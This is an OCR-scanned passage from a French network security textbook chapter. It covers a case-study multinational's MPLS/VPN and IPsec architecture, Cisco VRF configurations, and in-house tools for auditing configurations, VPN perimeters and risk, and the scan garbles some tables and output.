permet de filtrer et de tracer toutes les connexions IPsec avant et apres le passage par le 
boitier IPsec a des fins d' investigation en cas d' incident de securite. 
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Pour le domaine d'acces recherche et developpement, nous reconnaissons un boitier IPsec 
connecte au pare-feu. Ce pare-feu comporte deux autres interfaces, Tune connectee a une 
zone DMZ externe et 1' autre connectee a une DMZ recherche et developpement. De meme 
que pour le domaine d'acces recherche et developpement, cette architecture permet de 
flltrer et de tracer toutes les connexions IPsec avant et pres le passage par le boitier IPsec. 

En application de la regie de variete des fonctions de securite, RadioVoie choisit des 
equipements de marque differente pour les borders IPsec et les pare-feu, arm d' assurer 
une securite des protections en profondeur. 

Solution de securite pour les acces a Internet 

Comme illustre a la figure 17.19, la separation physique et logique entre le reseau prive 
virtuel MPLS et le reseau Internet de ce domaine garantit une segregation complete des 
acces reseau. 



Figure 17.19 

Solution d'acces a Internet 
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Une zone d'acces specifique est creee pour Internet. De meme, un commutateur non 
represente sur la figure est dedie a la connexion Internet afin d' assurer une isolation 
physique et logique avec le reseau prive virtuel. 
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Une zone d' interconnexion, ou DMZ interco, est toutefois creee entre le pare-feu dedie a 
1'acces VPN et celui dedie a l'acces Internet afln d'y placer des serveurs specifiques pour 
de futures evolutions ou de nouveaux services. 

Que ce soit pour l'acces a Internet ou au VPN, 1' architecture proposee offre une tra^abi- 
lite importante des flux reseau transitant dans les zones d'acces. De plus, puisque Radio- 
Voie dispose d'un routeur pour acceder a Internet, les capacites flltrantes de ce dernier 
assurent un premier nettoyage des flux en provenance d' Internet (principe du routeur 
choke). Le routeur filtre ainsi les flux « polluants », tels que les connexions 137/UDP en 
provenance des stations de travail Windows mal configurees, les classes d'adresses 
IANA non attribuees, etc. 

Solution de securite pour les acces a une tierce partie 

De la meme maniere qu'un reseau prive virtuel est mis en place sur le reseau MPLS, un 
service d'acces aux serveurs RadioVoie est cree pour les tierces parties. 

Si nous definissons un acces reseau pour une tierce partie au reseau prive virtuel de 
RadioVoie, il nous faut ajouter le routeur CE gris, dedie a l'acces de la tierce partie. 
Comme nous le verrons par la suite, ce routeur CE gris est logiquement connecte au 
routeur CE1 rouge via le reseau MPLS (connexion au site de Paris de l'entreprise Radio- 
Voie), comme l'illustre la figure 17.20. 



Figure 17.20 
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Les routeurs CE1 et CE2 rouges appartiennent au MPLS/VPN rouge, et les routeurs CE1 
et CE2 bleus au MPLS/VPN bleu. La configuration des routeurs PE permet de creer sur 
le CE1 rouge un acces de service par le biais des configurations suivantes sur les deux PE 
(implementation Cisco). 

Configuration du routeur PE, connecte a CE1 rouge et CE1 bleu : 
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! Definition du MPLS/VPN rouge : 
ip vrf rouge 

! La valeur du rd (route distinguished permet d'isoler les routes 
! echangees entre les PE routeurs pour chaque MPLS/VPN : 
rd xl 

! Les valeurs des route-target permettent de definir le MPLS/VPN par 

! le fait que le MPLS/VPN rouge importe toutes les routes vehiculant 

! la route-target 100:1 et exporte les routes apprises de son cote 

! au reseau MPLS en inserant la route-target 100:1 : 

route-target import 100 : 1 
route-target export 100 : 1 

! On ajoute les routes pour permettre au CE gris de se connecter 
! a ce routeur CE1 rouge : 

route-target import 100 : 4 

route-target export 100 : 5 

! Definition du MPLS/VPN bleu : 
ip vrf bleu 

rd x2 

route-target import 100 : 2 

route-target export 100 : 2 

! Connexion de CE1 rouge au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN rouge : 
ip vrf forwarding rouge 



! Connexion de CE1 bleu au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN bleu : 
ip vrf forwarding bleu 



Configuration du routeur PE, connecte a CE2 rouge, CE2 bleu et CE2 gris 

! Definition du MPLS/VPN rouge : 
ip vrf rouge 

! La valeur du rd (route distinguished permet d'isoler les routes 
! echangees entre les PE routeurs pour chaque MPLS/VPN : 
rd x3 

! Les valeurs des route-target permettent de definir le MPLS/VPN par 
! le fait que le MPLS/VPN rouge importe toutes les routes vehiculant 
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! la route-target 100:1 et exporte les routes apprises de son cote 
! au reseau MPLS en inserant la route-target 100:1 : 

route-target import 100 : 1 
route-target export 100 : 1 

! Definition du MPLS/VPN bleu : 
ip vrf bleu 

rd x4 

route-target import 100 : 2 

route-target export 100 : 2 

! Definition du MPLS/VPN gris : 
ip vrf gris 
rd x5 

! Les valeurs des route-target permettent de se connecter au CE1 rouge 
! Les valeurs des route-target sont importees et exportees de maniere 
! asymetrique comparees a eel les configurees sur le PE connecte au CE1 
! rouge : 

route-target import 100 : 5 

route-target export 100 : 4 

! Connexion de CE2 rouge au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN rouge : 
ip vrf forwarding rouge 



! Connexion de CE2 bleu au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN bleu : 
ip vrf forwarding bleu 



! Connexion de CE2 gris au PE : 
interface ... 

! Cette connexion appartient au MPLS/VPN bleu : 
ip vrf forwarding gris 



La figure 17.21 montre que le service d'acces cree logiquement sur le reseau MPLS 
permet aux tierces parties d'acceder au site de Paris. 

La configuration du service d'acces est done realisee. L' isolation d'un tel service repose sur 
la configuration logique des routeurs PE et, surtout, sur la securisation des acces externes a 
la fois de la tierce partie et de l'entreprise Radio Voie. RadioVoie n'a en effet aucune raison 
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Figure 17.21 

Solution d'acces de la tierce partie 






MPLS 



Routeur PE 



Internet 



Point 
d'acces 




Point 
d'acces 



a priori de faire confiance a une tierce partie, et une tierce partie n'a aucune raison a priori 
de faire confiance a RadioVoie. 

La tierce partie accede a l'entreprise RadioVoie par le biais du reseau MPLS mais 
reclame un acces de secours en cas d'indisponibilite. Les acces distants des commerciaux 
s'effectuent par le biais du reseau Internet. 

Les serveurs d' authentification sont places dans la zone DMZ interco entre le pare-feu 
Internet et le pare-feu dedie au VPN. Ces serveurs servent a authentifier les utilisateurs 
provenant des deux types de reseau. 

Solution de gestion des equipements de securite 

La multinationale RadioVoie regroupe une centaine d'entreprises. Une zone d'adminis- 
tration dediee a la gestion de 1' ensemble des equipements de securite est mise en place. 

Pour des raisons de redondance et de disponibilite, il s'agit en realite de deux zones 
d' administration, Tune a Paris, l'autre a Mouans-Sartoux. Un VPN specifique est cree sur 
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le reseau MPLS afln que les deux zones d' administration puissent s'echanger des 
donnees. Ce VPN est different du VPN de l'entreprise RadioVoie, et les deux VPN ne 
communiquent pas par defaut. 

Deux modes d' administration sont possibles, le mode dit hors bande (voir figure 17.22) 
et le mode dans la bande. 



Zone d'administration Paris 



Zone d'administration Mouans -Sartoux 



Routeur CE 




Figure 17.22 

Gestion des equipements hors bande 

Dans le mode d'administration hors bande, le VPN d'administration MPLS n'est pas 
connecte au VPN de RadioVoie. L' administration des equipements est realisee par des 
connexions dediees, offrant un unique chemin pour acceder en administration aux equi- 
pements. Ce mode est tres securise, car il y a isolation entre le reseau de RadioVoie et le 
reseau permettant de se connecter aux equipements administres. 

Les protocoles utilises pour 1' administration des equipements peuvent etre rudimentai- 
res, puisqu'on ne peut y acceder que si Ton penetre dans la zone d'administration, 
laquelle n'est pas accessible depuis le reseau de RadioVoie. 

Ce mode d'administration est en revanche tres couteux, car les connexions dediees a 
chaque equipement representent un cout supplementary pour l'entreprise en plus des 
couts des VPN d'administration et de RadioVoie. 
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Dans le mode d' administration dit dans la bande, le VPN d' administration MPLS est 
connecte au VPN de RadioVoie et utilise les connexions reseau du VPN pour ses sessions 
d' administration (voir figure 17.23). 



Zone d'administration Paris 



Zone d'administration Mouans -Sartoux 




Supervision IPsec — IPsec ^^ 




Supervision IPsec — IPsec ^^ 



IPsec 



Q> 




Figure 17.23 

Gestion des equipements dans la bande 



Le mode dans la bande est evidemment moins securise puisqu'il n'offre pas d'isolation 
native avec le reseau de RadioVoie. Les protocoles utilises pour 1' administration des 
equipements doivent etre particulierement securises en terme d' authentication et de 
chiffrement, puisqu'on pourrait y acceder theoriquement a partir de n'importe quel point 
du reseau RadioVoie. 

La zone d'administration est en outre plus exposee que dans le mode d'administration 
hors bande. De surcroit, l'interet d'avoir un reseau VPN d'administration speciflque est 
moins evident, et Ton pourrait considerer les deux zones d'administration comme des 
connexions speciflques du VPN de RadioVoie. 

Isolation logique des trafics reseau 

L' architecture adoptee pour 1' isolation logique des trafics reseau permet leur isolation 
complete, comme l'illustre la figure 17.24. 
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Figure 17.24 

Niveaux d' isolation des 
trafics reseau 



Reseau MPLS 





Paquet MPLS 
VPN RadioVoie 




Tunnel Ipsec 
site a site 



A" 



Tunnel IPsecR&D 



Trafic IP R&D 



Trafic IP bureautique 



La premiere isolation est realisee par le protocole MPLS, qui permet de creer des reseaux 
prives virtuels par routage. Les differents VPN n' ay ant pas acces aux tables de routage 
des autres VPN, une premiere isolation logique est appliquee au niveau du reseau. 

La deuxieme isolation logique est realisee par les tunnels IPsec etablis entre les sites dans 
le but de les authentifler et de chiffrer les trafics reseau. 

La troisieme isolation logique est realisee par les tunnels IPsec etablis entre les sous- 
reseaux des sites pour les authentifler et offrir un deuxieme niveau de chiffrement des 
trafics reseau. 

Risques reseau couverts 

Comme explique en debut de chapitre, Tun des aspects critiques de la politique de secu- 
rite de la multinationale RadioVoie est la definition des responsabilites entre les diffe- 
rents acteurs. 

Le tableau 17.3 donne la matrice de l'ensemble de ces responsabilites. 

Du fait de l'isolation logique du reseau de RadioVoie en plusieurs niveaux, une securite 
en profondeur des flux de trafic est assuree. Le risque de penetration directe du reseau 
RadioVoie est done minime. 

L' architecture mise en place produit des traces importantes des flux reseau transitant sur le 
reseau de RadioVoie, permettant ainsi d' analyser de maniere fine tout incident de securite. 



Risques reseau non couverts 

Aucune architecture de haute disponibilite des acces reseau n'etant definie, le trafic 
reseau serait necessairement impacte si Tun des equipements venait a defaillir. 

Pour remedier a ce risque, les connexions reseau doivent etre redondantes. Une architec- 
ture d' acces au reseau MPLS doit pour cela etre mise en ceuvre par l'operateur de tele- 
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Tableau 17.3 Matrice des responsabilites 





Operateur de 
telecommunications 


Equipe securite 


Equipe securite militaire 


Domaine reseau 


Physique et logique 


- 


- 


Zone d'acces routeur 


Logique 


Physique 


- 


Zone d'acces boitier IPsec 


- 


Physique et logique 


- 


Intranet local 


- 


Physique et Logique 


- 


Intranet local reseau R&D 




Physique et logique 


- 


Intranet local reseau R&D militaire 


- 


- 


Physique et logique 


Intranet local reseau bureautique 


- 


Physique et logique 


- 


Intranet local reseau production 


- 


Physique et logique 


- 


Reponse aux incidents 


Non pour la partie cliente 
Oui pour la partie reseau 


Oui 


Oui 



communications, generalement au moyen de mecanismes de routage pour la perte d'une 
connexion reseau. Pour les autres equipements, tels les borders IPsec et les pare-feu, des 
architectures specifiques doivent etre mises en ceuvre localement afln de garantir l'ache- 
minement du traflc. 

La solution reseau repose sur l'offre d'un seul operateur de telecommunications. Si le 
reseau de celui-ci vient a etre attaque par des moyens non connus de RadioVoie, les 
communications du reseau prive virtuel peuvent etre rendues indisponibles ou, pire, 
injectees dans d' autres VPN ou sur Internet. Bien que ces cas de figure semblent peu 
probables, le transport des flux reseau de RadioVoie par des tunnels IPsec offre une 
garantie de securite logique suffisante. 

Comme edicte dans la politique de securite reseau, 1' operateur de telecommunications 
doit toutefois garantir la securite des configurations des VPN au travers de rapports de 
controle realises sur les configurations des equipements du reseau MPLS. 

Le risque le plus important reste la securite des secrets associes aux cles de chiffrement 
IPsec. Ces secrets doivent disposer d'une protection maximale et de procedures strictes 
afin d'eviter toute penetration. 

Tableau de bord de la securite 

Cette section detaille les principaux controles a mettre en place et fournit des elements de 
verification fondes sur les outils maison ainsi qu'un exemple de tableau de bord de la 
securite reseau. 



Les controles de securite 

Le controle de securite peut se realiser a plusieurs niveaux 
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Le premier niveau de controle consiste a demander a l'operateur de telecommunica- 
tions de fournir des rapports de securite sur la configuration du reseau prive virtuel. 
Cela permet de garantir les bonnes pratiques de configuration des routeurs mais aussi 
de valider l'isolation logique du reseau prive virtuel de la multinationale. 

Le deuxieme niveau de controle consiste a superviser les equipements de chiffrement 
et de flltrage de premier niveau permettant l'acces a un site de la multinationale. Des 
tableaux de bord peuvent etre dermis afln de suivre toute evolution des elements de 
securite. Ce travail incombe a l'equipe de securite de la multinationale. 

Le troisieme niveau de controle consiste a superviser les equipements de chiffrement 
et de flltrage du deuxieme niveau permettant l'acces a un sous-reseau d'un site de la 
multinationale. Des tableaux de bord peuvent etre aussi dermis afln de suivre toute 
evolution des elements de securite. 



Mise en oeuvre des outils maison 

Cette section decrit la mise en oeuvre des outils maison afln de repondre aux besoins de 
securite de Radio Voie. Elle detaille dans ce contexte la verification des configurations 
des MPLS/VPN, la verification des perimetres reseau des MPLS/VPN et une analyse de 
risques du reseau. 

Analyse des configurations 

Comme indique precedemment, les configurations du ou des MPLS/VPN doivent etre 
analysees afln de detecter toute mauvaise configuration par rapport au patron de securite. 

Les elements de configuration necessaires pour assurer un niveau de securite minimal 
sont donnes dans l'exemple de configuration Cisco suivant : 



ip vrf A 
rd 1:1 

route-target export 1:1 
route-target import 1:1 
maximum routes 1000 10 



# nom de la vrf 

# route distinguisher associe a la vrf 

# export de routes 

# import de routes 

# limitation du nombre de routes 



La justification des elements de configuration est fournie a la partie IV de l'ouvrage, rela- 
tive a la configuration des equipements reseau. 

Pour analyser les configurations de MPLS/VPN, nous utilisons notre l'outil HDIFF avec 
le patron de securite suivant : 

margot/17.2$ cat vpn.tp 

# template de verification de la configuration MPLS/VPN 

# 



{ 



# enleve les caracteres inutiles 
r* : A [ ]*!.* 
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# definition du bloque associe a une vrf 
r+ :ip vrf [A-Za-z][A-Za-zO-9]* 
{ 



r 

r+ 

r+ 



rd [A-Z0-9]+:[0-9]+ 
route-target export [A-Z0-9]+: [0-9]+ 
route-target import [A-Z0-9]+: [0-9]+ 
maximum routes 100 10 



# aucun autre element de configuration n'est pas autorise 
rO 



• • 



} 



# aucun autre element de configuration est autorise 
r* : .* 



} 



Si nous executons le programme HDIFF sur une configuration Cisco qui ne respecte pas 
le patron de securite, nous obtenons les resultats suivants : 

margot/17.2$ hdiff -f vpn.tp vpn.txt | vhdiff 

IN BLOCK vpn.txt 31: ip vrf E 

PATTERN 14 'fcx=K': maximum routes 1000 10 

COUNTED 

IN BLOCK vpn.txt 38: ip vrf G 

PATTERN 11 'rcx=K': rd [A-Z0-9]+:[0-9]+ 

COUNTED 

IN BLOCK vpn.txt 38: ip vrf G 

PATTERN 12 'rcx=+<': route-target export [A-Z0-9]+:[0-9]+ 

COUNTED 

IN BLOCK vpn.txt 38: ip vrf G 

PATTERN 14 'fcx=K': maximum routes 1000 10 

COUNTED 

Cet exemple illustre en premiere erreur qu'un MPLS/VPN (ligne 31 de la configuration) 
n'a pas configure de limitation du nombre de routes (ligne 14 du patron). La configura- 
tion doit etre mise a niveau en ajoutant maximum routes 1000 10 . 

Une seconde erreur illustre qu'un MPLS/VPN (ligne 38 de la configuration) n'a pas de 
Route Distinguisher rd [0-9]+: [0-9]+ (ligne 11 du patron). La configuration doit etre 
mise a niveau en ajoutant un Route Distinguisher rd [0-9]+: [0-9]+. 

II est done possible avec l'outil HDIFF de controler en profondeur les configurations des 
MPLS/VPN et de fournir des donnees utiles pour l'etablissement d'un tableau de bord de 
la securite. 
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Analyse de perimetres 

S'il est important de controler les configurations des equipements reseau, il est non 
moins primordial de valider les perimetres MPLS/VPN implementes. Pour y parvenir, 
nous utilisons l'outil GRAPH ainsi qu'un script d'extraction utilise pour determiner les 
noeuds et les arcs de notre graphe MPLS/VPN. 

Si nous desirons verifier les perimetres de configuration des reseaux prives virtuels 
MPLS/VPN, l'approche consiste a analyser le graphe VPN engendre par les configura- 
tions des MPLS/VPN (seules les configurations des routeurs PE nous interessent). Nous 
deflnissons alors le perimetre de securite d'un MPLS/VPN comme etant 1' ensemble des 
interconnexions autorisees de ce VPN avec d'autres VPN. 

Si, pour chaque configuration PE, nous arrivons a renseigner les champs de la table VPN 
suivante, il est possible de construire le graphe MPLS/VPN : 

table VPN 

champ : NomVrf : nom du VPN 

champ : I/E: definit Taction associee au route-target, 

soit "import" (j'apprends les routes), soit "export" (j'exporte 
les routes) 
champ : RT : definit la valeur du route-target 

L'idee consiste ensuite a construire, pour chaque route-target, l'ensemble des VRF qui 
realisent un « import » et l'ensemble des VRF qui realisent un « export », comme l'illus- 
tre la figure 17.25. 



Figure 17.25 

Hierarchie des routes- 
targets 




Nous pouvons en deduire les liens de connectivity entre les VRF. Ainsi, pour une route-target 
donnee, chaque VRF appartenant a la liste des « exports » est connectee a toutes les VRF 
appartenant a la liste des « imports ». Nous pouvons done construire un graphe VPN, ou un 
sommet est represents par une VRF et un arc par une connexion entre deux VRF differentes. 
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Une fois la table VPN construite a partir de 1' extraction des informations contenues 
dans les configurations, le produit cartesien de la table VPN par elle-meme sous les 
conditions suivantes donne tous les arcs de notre graphe VPN, comme l'illustre la 
requete SQL suivante : 

SELECT 

Vpn.NomVrf, Vpn.I/E, Vpn.Rt, Vpn_l.NomVrf , Vpn_l . I/E, Vpn_l.Rt 
FROM 

Vpn, Vpn AS Vpn_l 
WHERE 

Vpn.Rt = Vpn_l.Rt and 

Vpn. IE = "export" and Vpn_l . IE = "import" and 

Vpn.NomVrf != Vpn_l.NomVrf 

Un sommet du graphe VPN est represents par NomVrf et un arc par un enregistrement 
trouve par le produit cartesien precedemment decrit. L'asymetrie de configuration d'un 
VPN indique que le graphe VPN construit est dirige. 

Le calcul des composantes connexes (s'il existe un chemin entre toute paire de 
sommets (x,y) de la composante) et fortement connexes (si, pour toute paire de 
sommets (x,y) de la composante, il existe un chemin de x a y et de y a x) permet de 
determiner les perimetres de securite des VPN. 

Une fois les noeuds et les arcs extraits des configurations, nous fournissons ces donnees 
a l'outil GRAPH afln qu'il calcule les composantes connexes du graphe MPLS/VPN. 
Les noeuds contenus dans une composante fortement connexe impliquent done qu'ils 
communiquent entre eux. En revanche, si les composantes connexes ne sont pas egales 
aux composantes fortement connexes, e'est qu'il existe des inconsistances de configu- 
ration. De meme, toute configuration non bidirectionnelle entre deux sommets montre 
des inconsistances de configuration. 

Si nous appliquons cette methode a l'exemple de configuration presente precedem- 
ment, nous obtenons les resultats suivants : 

margot/17.2$ ./vpn_graph.sh 

<stdin>: 5 nodes, 6 edges, 2306 bytes 

# nodes = 5 

# edges = 6 
# 



N 


A 


N 


B 


N 


C 


N 


D 


N 


E 


# 




D 


A E 


D 


E A 


D 


E B 


D 


E C 


D 


B E 


D 


C E 



connected component (4 nodes): 
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{ A B C E } 

articulation point: E 

node partition: { A } 

node partition: { B } 

node partition: { C } 

connected component (1 nodes): 

{ D } 

strongly connected component (4 nodes): 

{ A B C E } 

strongly connected component (1 nodes): 

{ D } 

Les resultats de l'outil GRAPH indiquent que les deux composantes fortement conne- 
xes suivantes ont ete trouvees, comme illustre a la figure 17.26 : 



Figure 17.26 

Interconnexions entre les 
VPN 




• Composante 1 : les nceuds A, B, C et E peuvent communiquer entre eux. Cependant, le 
noeud E est un point d' articulation pour la composante fortement connexe. 

• Composante 2 : le noeud D est isole. 

Le controle de securite consiste done a verifier si les perimetres de securite trouves 
correspondent bien aux perimetres de securite demandes. En cas d'erreur de configura- 
tion, l'isolation n'est plus assuree. Ce controle doit aussi etre pris en compte afin de 
fournir des donnees utiles pour l'etablissement d'un tableau de bord de la securite. 

Analyse de risques 

II est primordial de determiner un niveau de risque pour le reseau correspondant aux 
vulnerabilites de securite detectees. Rappelons qu'il s'agit de determiner le risque pris 
si ces vulnerabilites de securite ne sont pas corrigees. 

Nous utilisons notre outil BAYES afin de connaitre le niveau de risque des reseaux 
interne et externe. La modelisation pour notre calcul de risque est la suivante : pour 
chaque objet, il y a 3 tests possibles, pouvant referencer une ou plusieurs vulnerabili- 
tes. De plus, il y a 10 impacts possibles (pas d'impact, 3 impacts pour le VPN vert, 
3 impacts pour le VPN bleu et 3 impacts pour le coeur de reseau), comme le resume le 
tableau 17.4. 
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Tableau 17.4 Repartition des tests et des impacts 



Objet 






Test 


Impact 


Coeurde 


reseau (routeurs PE, 


P) 


1 


1 (faible impact reseau) 








2 


2 (moyen impact reseau) 








3 


3 (fort impact reseau) 


CE vert 






4 


4 (faible impact VPN vert) 








5 


5 (moyen impact VPN vert) 








6 


6 (fort impact VPN vert) 


CE bleu 






7 


7 (faible impact VPN bleu) 








8 


8 (moyen impact VPN bleu) 








9 


9 (fort impact VPN bleu) 



Dans ce modele, si nous tenons compte uniquement de la topologie reseau, les regies de 
propagation sont les suivantes : 



margot/17.2$ cat dmz.rule 
ce_bleu ce_bleu 4 5 6 
ce_vert ce_vert 7 8 9 
pe pe 1 2 3 

p p 1 2 3 

1 pe pe 1 

2 pe pe 2 

3 pe pe 3 

1 p p 1 

2 p p 2 

3 p p 3 

4 ce_bleu ce_bleu 4 

5 ce_bleu ce_bleu 5 

6 ce_bleu ce_bleu 6 

7 ce_vert ce_vert 7 

8 ce_vert ce_vert 8 

9 ce_vert ce_vert 9 

4 ce_bleu ce_bleu 4 

5 ce_bleu ce_bleu 4 5 

6 ce_bleu ce_bleu 4 5 6 

6 ce_bleu pe 3 

7 ce_vert ce_vert 7 

8 ce_vert ce_vert 7 8 

9 ce_cert ce_vert 7 8 9 
9 ce_vert pe 3 

1 pe pe 1 

2 pe pe 1 2 

3 pe pe 1 2 3 

1 pe p 1 

2 pe p 1 2 

3 pe p 1 2 3 



# regies de propagation a la racine 



# regies de propagation hors racine 
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1 pe p 1 

2 pe p 1 2 

3 pe p 1 2 3 

1 p p 1 

2 p p 1 2 

3 p p 1 2 3 

1 p pe 1 

2 p pe 1 2 

3 p pe 1 2 3 

Si nous prenons aussi en compte les fichiers de consequences et de probabilities suivants 



margot/17 



6 

30 

60 

2 

10 

20 

2 

10 

20 



/* 
/* 
/* 
/* 
/* 
/* 
/* 
/* 
/* 



2$ cat dmz.cons 

mpact faible : reseau */ 

mpact moyen : reseau */ 



mpact fort : 
mpact faible 
mpact moyen 
mpact fort : 
mpact faible 
mpact moyen 
mpact fort : 



reseau */ 
: ce_bleu */ 

ce_bleu */ 
ce_bleu */ 
: ce_vert */ 

ce_vert */ 
ce vert */ 



margot/17. 2$ cat dmz.proba 
0.1 /* pas d'impact */ 
/* impact faible 
mpact moyen 
mpact fort : 
mpact faible 
mpact moyen 
mpact fort : 
mpact faible 
mpact moyen 
mpact fort : 



0.3 
0.3 
0.8 
0.3 
0.3 
0.8 
0.3 
0.3 
0.8 



/* 
/* 
/* 
/* 
/* 
/* 
/* 
/* 



: reseau */ 
reseau */ 
reseau */ 
: ce_bleu */ 
: ce_bleu */ 
ce_bleu */ 
: ce_vert */ 
ce_vert */ 
ce vert */ 



il est possible d'executer le programme BAYES pour chacun des fichiers de vulnerabili- 
tes detectes par les controles internes et externes. 

Le Makefile suivant permet de lancer une simulation composee de six fichiers en consi- 
derant les memes parametres de regies, consequences et probabilites : 

margot/17. 2$ cat Makefile 
PGM=bayes 



mpls: 



normalise mpls. rule mpls.proba mpls.txt mpls. cons 

$(PGM) mpls.txt.ref.dat[1234] 1000 

normalise mpls. rule mpls.proba mpls.txtl mpls. cons 

$(PGM) mpls.txtl.ref.dat[1234] 1000 

normalise mpls. rule mpls.proba mpls.txt2 mpls. cons 

$(PGM) mpls.txt2.ref.dat[1234] 1000 

normalise mpls. rule mpls.proba mpls.txt3 mpls. cons 
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$(PGM) mpls.txt3.ref.dat[1234] 1000 

normalise mpls.rule mpls.proba mpls.txt4 mpls.cons 

$(PGM) mpls.txt4.ref.dat[1234] 1000 

normalise mpls.rule mpls.proba mpls.txt5 mpls.cons 

$(PGM) mpls.txt5.ref.dat[1234] 1000 

Nous executons alors le programme BAYES sur les differents fichiers contenant les 
vulnerabilites de securite : 



margot/17.2$ make mpls grep 
distribution des probabilites 
0.000000e+00 6.528000e-02 
0.000000e+00 1.000000e+00 
distribution des probabilites 
0.000000e+00 4.632369e-02 
5.538462e-02 1.000000e+00 
distribution des probabilites 
1.070575e-01 1.344220e-02 
1.565217e-02 1.000000e+00 
distribution des probabilites 
1.454619e-01 1.113643e-02 
1.309091e-02 1.000000e-00 
distribution des probabilites 
0.000000e+00 1.411175e-02 
1.600000e-02 1.000000e-00 
distribution des probabilites 
0.000000e+00 3.857143e-02 
0.000000e+00 1.000000e-00 



"distribution des probabili 
(impacts): 4.676320e-01 0. 
1.368000e-01 0.000000e+00 

(impacts): 4.195909e-01 
9.707538e-02 5.538462e-02 

(impacts): 3.133001e-01 3 
2.816932e-02 1.473982e-01 

(impacts): 3.121092e-01 5 
2.333737e-02 1.222497e-01 

(impacts): 3.374458e-01 5 
2.957243e-02 1.542497e-01 

(impacts): 4.098510e-01 
0.000000e+00 0.000000e+00 



tes" 

000000e+00 
3.002880e-01 

000000e+00 
2.499762e-01 

749214e-02 
3.188917e-01 

179567e-02 3 
2.667094e-01 

940910e-02 4 
3.259782e-01 

000000e+00 
5.515776e-01 



000000e+00 
3.000000e-02 

000000e+00 
7.626462e-02 

000000e+00 
1.859661e-02 

855578e-02 
1.555353e-02 

422309e-02 
1.900987e-02 

000000e+00 
0.000000e+00 



margot/17.2$ make mplslgrep risque 



risque 
risque 
risque 
risque 
risque 
risque 



2.399136e+00 
4.541384e+00 
1.104174e+01 
1.384658e+01 
6.254144e+00 
1.180298e+00 



Exemple de tableau de bord de la securite reseau 

Le tableau 17.5 recapitule les elements de T architecture reseau qui permettent d'etablir 
des tableaux de bord de securite pour 1' extension du reseau RadioVoie. 



Tableau 17.5 Exemples de donnees permettant de construire un tableau de bord 



Sous-reseau 


Categorie 


Element 


Intranet 


Configuration 


Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.) et 
routeurs (verification ACL, etc.) 




Evenement reseau 


Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.) et routeurs (violation ACL, etc.) 




Balayage reseau 


Sur les commutateurs, routeurs, LAN et systemes connectes 
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Tableau 17.5 Exemples de donnees permettant de construire un tableau de bord (suite) 



Recherche 



Configuration 



Intersite 



Internet 



Tierce partie 



Production 



Administration 



Evenement reseau 



Balayage reseau 
Configuration 
Evenement reseau 



Balayage reseau 
Configuration 
Evenement reseau 



Balayage reseau 



Configuration 



Evenement reseau 



Balayage reseau 
Configuration 



Evenement reseau 

Balayage reseau 
Configuration 



Evenement reseau 



Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.), rou- 
teurs (verification ACL, etc.), boitiers IPsec (verification des regies, etc.) et pare-feu 
(verification des regies, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.), routeurs (violation ACL, etc.), boitiers IPsec (sessions echouees, etc.) 
et pare-feu (sessions echouees, etc.) 

Sur les commutateurs, routeurs, boitiers IPsec, pare-feu, LAN (DMR R&D) et systemes 
connectes 

Des commutateurs (verification VLAN, etc.), routeurs (verification ACL, etc.), boitiers 
IPsec (verification des regies, etc.) et pare-feu (verification des regies, etc.) 

Des commutateurs (acces non autorises, etc.), routeurs (violation ACL, etc.), boitiers 
IPsec (sessions echouees, sessions intranet, etc.) et pare-feu (sessions echouees, 
sessions intranet, etc.) 

Sur les commutateurs, routeurs, boitiers IPsec, pare-feu, LAN (DMZ entrante, DMZ 
Interco) et systemes connectes 

Des commutateur (verification VLAN, etc.), routeur (verification ACL, etc.), boitier IPsec 
(verification des regies, etc.) et pare-feu (verification des regies, etc.) 

Des commutateur (acces non autorises, etc.), routeur (violation ACL, etc.), boitier IPsec 
(sessions echouees, sessions Internet, etc.) et pare-feu (sessions echouees, sessions 
Internet, etc.) 

Sur les commutateur, routeur, boitier IPsec, pare-feu, LAN (DMZ entrante, DMZ sor- 
tante) et systemes connectes 

Des commutateur (verification VLAN, etc.), modems (verification des controles 
d'acces, etc.), boitier IPsec (sessions echouees, etc.), serveurs dedies (verification des 
services ouverts, verification de I'integrite des fichiers sensibles, etc.) et pare-feu (veri- 
fication des regies, etc.) 

Des commutateur (acces non autorises, etc.), modems (routeurs acces non 
autorises, etc.), boitier IPsec (sessions echouees, etc.), pare-feu (violation des 
regies, etc.) et serveurs dedies RAS (sessions echouees, etc.) 



Sur les commutateur, modems, boitier IPsec, pare-feu, LAN (DMZ entrante, DMZ RAS) 
et systemes connectes 

Des commutateurs (verification VLAN, etc.), routeurs (verification ACL, etc.), serveurs 
dedies d'authentification (verification des services ouverts, verification de I'integrite des 
fichiers sensibles, etc.) 

Des commutateurs (acces non autorises, etc.), routeurs (violation ACL, etc.) et ser- 
veurs dedies d'authentification (sessions echouees, etc.) 

Sur les commutateurs, routeurs, LAN et systemes connectes 

Des commutateurs (verification VLAN, etc.), routeurs (verification ACL, etc.), boitiers 
IPsec (verification des regies, etc.), pare-feu (verification des regies, etc.) et serveurs 
d'administration (verification des services ouverts, verification de I'integrite des fichiers 
sensibles, etc.) 

Des commutateurs (acces non autorises, etc.), routeurs (violation ACL, etc.), boitiers 
IPsec (sessions echouees, sessions intranet, etc.), pare-feu (sessions echouees, ses- 
sions intranet, etc.) et serveurs d'administration (sessions echouees, etc.) 



RadioVoie etend son reseau 



535 



Chapitre 17 



Tableau 17.5 Exemples de donnees permettant de construire un tableau de bord (suite) 



Administration 
production 



Balayage reseau 
Configuration 



Sur les commutateurs, routeurs, boitiers IPsec, pare-feu, LAN (supervision IPsec, 
supervision pare-feu, supervision equipement reseau) et systemes connectes 

Des commutateurs (verification VLAN, etc.) et routeurs (verification ACL, etc.) 



Evenement reseau Des commutateurs (acces non autorises, etc.) et routeurs (violation ACL, etc.) 
Balayage reseau Sur les commutateurs, routeurs, LAN et systemes connectes 

Le tableau de bord de la securite peut etre constitue de nombreuses courbes suivant les 
domaines concernes. 

Par exemple, si nous calculons tous les scenarios d'evenements possibles par le biais d'un 
arbre probabiliste (fonde sur les faiblesses de securite prealablement detectees), il est possi- 
ble de determiner les probabilites associees pour chaque niveau d'impact, comme l'illustre 
la figure 17.27 (les resultats correspondent a l'exemple detaille precedemment). 



